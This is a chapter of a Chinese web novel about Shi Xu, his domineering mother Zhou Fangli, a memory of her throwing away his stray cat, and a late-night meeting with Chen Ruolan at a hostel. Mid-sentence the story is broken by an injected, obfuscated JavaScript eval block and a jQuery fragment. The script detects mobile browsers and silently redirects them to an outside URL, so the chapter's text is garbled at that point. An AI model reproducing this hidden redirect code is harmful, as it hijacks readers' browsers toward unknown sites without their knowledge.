时序回到工作室时，看到停在院子外的车，打着双闪，无声的隐秘在黑夜里。
指尖在密码锁上一一按下，每亮起一个数字，身体内的血液便如潮水般涌起，又悄然退去，归于平静。
门缓缓打开了一半，门内的灯光斜斜地洒在时序的脸上，将他的面容切割成明暗两半，温润清朗的五官在光影交错间显得模糊不清，仿佛连表情也隐匿在了那片朦胧之中。
客厅里的人听到门响，只是微微侧过头，目光淡淡地扫向门口，声音平静而带着不怒自威的气势：“回来了。”
时序这才迈步进门，目光低垂，没有与对方交汇。
他弯下腰，换了鞋，轻轻“嗯”了一声，像是敷衍，又像是习惯。
随后，他抬起头，目光在房间里缓缓扫过。
“不用找了，我让小魏先回去了。”
“知道了。”时序依旧只是淡淡地应了一声，声音轻得几乎听不见。
“怎么回来这么晚，出去干什么了？”
声音灌入时序的耳中，压得他胸中的气息微微一滞。
他走到侧边的沙发旁，坐下，脸上依旧没什么表情，只是语气平淡回了一句：“有事。”
两个人就这样在寂静中坐着，终于还是时序起身，将桌子上还剩一半的水杯续上热水。
她终于从鼻腔里哼出一声满意的轻笑。
“这才有点当儿子的样子。”周芳礼屈起食指，轻轻叩了叩杯托，“这么大的人了，也该收心做点正事，你那拍视频就当个爱好，我并不反对，可什么年纪的人就该干什么事。是，你是做出了些成绩，也受了些人的追捧，但那些只是小孩子玩闹，算不上什么正经事业，我辛苦为你铺的路，你就是身在福中不知福。”
时序握壶柄的指节泛着白，看热水蜿蜒漫过半透明的杯壁，蒸腾的雾气将对方的面孔洇成一副模糊不清的模样，可声音却清晰地钻入耳中。
周芳礼微微蹙眉，双腿不自觉地换了姿势，目光却渐渐缓和下来：“你到现在还没成家，心思总是漂浮不定。最近有没有和俏俏联系？这孩子我是看着长大的，知根知底，门当户对。我记得老陈家那儿子以前也喜欢跟着俏俏，可俏俏就只喜欢在你身后跑来跑去。我看不如早点把事情定下来……”
“妈。”时序打断她，脸上的神情瞬间冷了下来，“我不喜欢她。”
“不喜欢？”周芳礼的脸色一沉，猛地站起身，往日的端庄稳重瞬间消失不见，语气中满是怒意，“那你喜欢谁？高中时候那个乡下妹？你别以为我不上网，陈若兰，就是她吧？她给老男人当小三，名声都臭了。依我看，她高中就不学好，别的没学会，倒是把勾引男人那一套学了个十足——”
“我说了很多次。”时序的声音里带着一丝克制的愠怒，中央空调出风口的白噪音有一瞬凝滞。
窒息感压迫地他喘不过气。
时序解开衬衫最上端的扣子，那里还留着今晚陈若兰顺手帮他翻衣领时蹭到的属于她的气味。
这味道让他渐渐镇定下来。
时序闭上眼深吸一口气，又恢复了到了往日的状态。
他喉头微微滚动，将头扭向窗外，下了逐客令：“很晚了，你回去吧。司机在外面等着，我就不送了。”
周芳礼很少见时序情绪波动的样子，也跟着起身，放软了语调：“你很久都没回家了，要不然今晚跟我回去，明天让王妈给你做些你爱吃的。”
“明天我去肯尼亚采风。”
“肯尼亚？”周芳礼因为错愕而瞪圆了双眼，“这么大的事你说走就走，怎么不提前告诉我？”
“妈。”时序并不看她，“你该回去了。”
-
周芳礼坐上车后，神情这才从之前的紧绷中卸下来。
她缓缓揉了揉太阳穴，倚在椅背上，声线里满是疲惫：“走吧。”
车平稳驶向高架桥，将远处亮着灯的高楼一座一座甩到身后。
周芳礼沉默了会，开口打破沉闷的气氛：“小杨，你女儿明年就该高考了吧？”手腕上的翡翠镯子在昏暗的车内都透着油绿色的光，这是昨日方俏俏登门时送她的，周芳礼很是喜欢，“我可听老李说他儿子被普林斯顿录取了。”
“是的，领导。”
车辆下行，轮胎碾过减速带，杯座里泡着枸杞的保温杯晃出暗红涟漪。
驶过一带没有路灯的地方，黑暗吞没车厢的刹那，周芳礼按亮手机。
她屏保一直是一家人的合影，只不过年岁稍长，是时序小学参加作文比赛获奖那天全家人难得聚在一起照的。
照片上少年眉目间尚未长出如今的冷刺，而她眼角也没有如今这般这么多细密的皱纹。
纵使过了这么多年，换了多少个手机，这张照片她都没有换过。
她至今记得时序的作文题目是《雕塑》，别的孩子都写《我美丽的妈妈》《致最可爱的老师》，而时序却写：我的妈妈就像博物馆里的雕塑，丰功伟绩，却让人毫无亲近之感，我从她身上感受到的只有冰冷坚硬。
周芳礼暗灭手机，眼睛里最后的亮光也尽数抹去，自嘲道：“感觉时序就是从上了高中后就不那么亲我了。说到底，还是我工作忙，对他的管制没有小时候抓的那么紧。”
司机从后视镜看着周芳礼的状态，犹豫着措辞：“领导，其实时序已经比同龄人优秀了。”
“我知道。只是哪个当母亲的不希望自己的孩子能过得好一些呢，他以前比现在听话多了。”周芳礼调整了个舒服地坐姿，“其实还是教育方式的问题。”
“其实时序青春期也叛逆过一阵，他初中的时候不知道从哪捡回来一只流浪猫，说看着可怜想求我同意养，你说那流浪猫身上细菌多脏啊，我当场让保姆给他扔了。结果被我发现，他竟然在外面偷偷养着这只畜生，我为了让他听我的话，就当着他的面又把它扔了。”
周芳礼冷哼一声，脸上带着一丝得意，“果然，他再也没有说要养动物的事了，也更加懂事听话。”
车窗映衬出周芳礼带着细纹的眉眼。
第二次扔了那只猫时，时序追了出去，好几个小时都没有回来，她只以为是小小的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375811|168332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少年为了跟她赌气，故意不回家。
将近后半夜的时候，人终于回来了，声音沙哑地告诉她，吓坏的小猫被疾驰而过的车撞死。
而他抬起头来时，脸颊和手上沾着残血，正对她微笑。
那绝不是一个正常孩子该有的笑容，可周芳礼当时并没有察觉到异样。
“教育孩子就像是雕玉，一定不能心软，他们年纪尚小，还不懂得分辨是非。女孩子就更要注意了，尤其是那些来路不明的人。最后雕出来是玉还是朽木，全看家长。”
-
“滴滴——”
轮胎咬合着沥青地面的摩擦声刺破夜色，在时序的耳膜里炸开。他如大梦初醒般回过神，一道刺眼的亮光如闪电般射来，瞬间将他笼罩其中。
时序屈起手背挡在眼前，侧过脸试图阻挡那刺眼的光芒。光线透过指缝，映在他的脸上，他才渐渐看清自己身处何地。
眼前是一条宽阔的马路，车灯的余晖在他脚下拉出一道长长的影子。他站在马路中央，四周一片寂静，只有那刺耳的车笛声还在空气中回荡。
司机显然被他的出现吓到了，紧急刹车的同时，按响了喇叭。
“要死上一边死！晦气玩意！”司机的咒骂混着汽车的尾气一起喷在他小腿上。
车疾驰而过，消散在夜色里，耳鸣却一直笼罩在脑内挥散不去，像是幻听，又充满实感。
时序抬起胳膊看了眼时间，已是快到下半夜。不知什么时候，他又在外面无意识地游荡。
手机里有几条未读消息，周芳礼和父亲前后脚发来消息说今晚就不过去找他了，让他按时休息。
他收起手机，茫然地四顾环绕了一圈，辨别着回家的方向。
路灯将他的影子拉成褪色的木偶，碎发在夜风中飘成深蓝色的提线。
这种状态不知道已经持续了多久，时序却觉得没什么不好。
白天，他是父母眼中的好儿子，老师口中的好学生，同学心目中的好榜样。
但他却不知道他自己该是谁。
转过街角后，低矮破败的建筑展现在眼前，与港琴市拔地而起的高楼格格不入，精致的都市丽人们或许从来都不知道，港琴市还有这样一处破败的属于穷人们的聚集区。
夜色浓稠如化不开的浓雾，巷道深处连最后的霓虹灯牌都熄灭了。
前方忽然晃过一道身影，一个长发女人拐入旁边为数不多还亮着灯的建筑，昏黄的光线从透明的玻璃门漏出来，恰好映亮了她侧脸轮廓。
时序抬头辨认了一眼建筑上的广告牌，硕大的“招待所”三个字印在玻璃门上。
时序踩上台阶，血液重新在他的身体内沸腾起来。
“你好，是包间还是钟点……？”坐在前台的女生抬起头，如应景一般，头顶天花板上挂着的节能灯管滋啦闪了两下。
待看清出眼前的人后，陈若兰的瞳孔微微放大，尾音卡在喉咙里，化作倒抽冷气的错愕，“怎么是你？”
她的目光扫过少年身后空荡荡的街道，惊讶又疑惑地问：“你来开房？”